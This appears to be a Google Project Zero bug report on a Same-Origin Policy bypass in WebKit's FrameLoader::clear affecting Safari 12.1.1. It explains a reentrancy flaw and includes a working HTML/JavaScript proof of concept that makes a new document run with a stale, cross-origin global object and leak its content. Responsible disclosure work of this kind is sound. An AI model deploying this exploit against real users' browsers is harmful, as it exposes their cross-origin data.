Share
WebKit: Same-Origin Policy bypass in FrameLoader::clear  
  
VULNERABILITY DETAILS  
```  
void FrameLoader::clear(Document* newDocument, bool clearWindowProperties, bool clearScriptObjects, bool clearFrameView)  
{  
m_frame.editor().clear();  
  
if (!m_needsClear)  
return; // ***1***  
m_needsClear = false;  
  
if (m_frame.document()->pageCacheState() != Document::InPageCache) {  
m_frame.document()->cancelParsing(); // ***2***  
[...]  
if (clearWindowProperties)  
m_frame.windowProxy().setDOMWindow(newDocument->domWindow()); // ***3***  
```  
  
This bug is similar to https://bugs.chromium.org/p/project-zero/issues/detail?id=1162. In certain  
circumstances, `Document::cancelParsing`[2], which is not guarded by `FrameNavigationDisabler`,  
might fire the `readystatechanged` event handler. If the handler performs a synchronous document  
load, the reentrant `clear` call for the new document will exit early[1] and won't update the  
active global object of the page[3], so the new document will use the old (potentially  
cross-origin) global object for JavaScript execution. An attacker can exploit it to partially leak  
the content of the new document.  
  
  
VERSION  
WebKit revision 246877  
Safari version 12.1.1 (14607.2.6.1.1)  
  
  
REPRODUCTION CASE  
```  
<body>  
<script>  
function createURL(data, type = 'text/html') {  
return URL.createObjectURL(new Blob([data], {type: type}));  
}  
  
function waitForLoad() {  
showModalDialog(createURL(`  
<script>  
let it = setInterval(() => {  
try {  
opener.victim_frame.contentDocument.x;  
} catch (e) {  
clearInterval(it);  
window.close();  
}  
}, 0);  
</scrip` + 't>'));  
}  
  
window.onclick = () => {  
victim_frame = document.body.appendChild(document.createElement('iframe'));  
  
victim_frame.contentDocument.open();  
victim_frame.contentDocument.onreadystatechange = () => {  
victim_frame.contentDocument.onreadystatechange = null;  
  
victim_frame.contentDocument.open();  
audio = victim_frame.contentDocument.appendChild(document.createElement('audio'));  
counter = 0;  
victim_frame.contentDocument.onreadystatechange = () => {  
if (++counter != 2) {  
return;  
}  
  
victim_frame.contentWindow.func = function(value) {  
alert('leaked: ' + value);  
}  
  
let a = victim_frame.contentDocument.createElement('a');  
a.href = victim_url;  
a.click();  
  
waitForLoad();  
};  
audio.src = location + '?' + 'A'.repeat(10000) + Math.random();  
victim_frame.contentDocument.close();  
document.implementation.createHTMLDocument().adoptNode(audio);  
};  
  
victim_frame.src = 'javascript:\"\"';  
}  
  
victim_url = 'data:text/html,<body><script>func(\"secret value\")<\\/script></body>';  
  
ext = document.body.appendChild(document.createElement('iframe'));  
ext.src = victim_url;  
</script>  
</body>  
```  
  
  
CREDIT INFORMATION  
Sergei Glazunov of Google Project Zero  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made  
broadly available (whichever is earlier), the bug report will become visible to the public.  
  
  
  
  
  
  
Found by: glazunov@google.com